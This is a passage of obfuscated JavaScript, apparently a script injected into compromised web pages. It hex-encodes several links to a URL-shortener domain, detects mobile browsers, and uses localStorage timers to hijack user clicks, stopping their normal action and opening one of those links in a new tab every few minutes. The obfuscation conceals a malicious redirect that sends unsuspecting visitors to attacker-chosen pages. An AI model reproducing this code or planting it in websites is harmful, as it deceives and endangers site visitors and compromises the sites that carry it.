_0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x4f\x5a\x6e\x33\x63\x323','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x7a\x78\x54\x35\x63\x335','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x67\x6b\x59\x38\x63\x328','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x52\x55\x41\x39\x63\x379','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x45\x74\x63\x34\x63\x344','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x63\x58\x47\x37\x63\x317','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x50\x79\x70\x32\x63\x342','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x69\x7a\x6a\x36\x63\x376','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x71\x7a\x58\x30\x63\x380','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x63\x48\x4d\x31\x63\x361',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());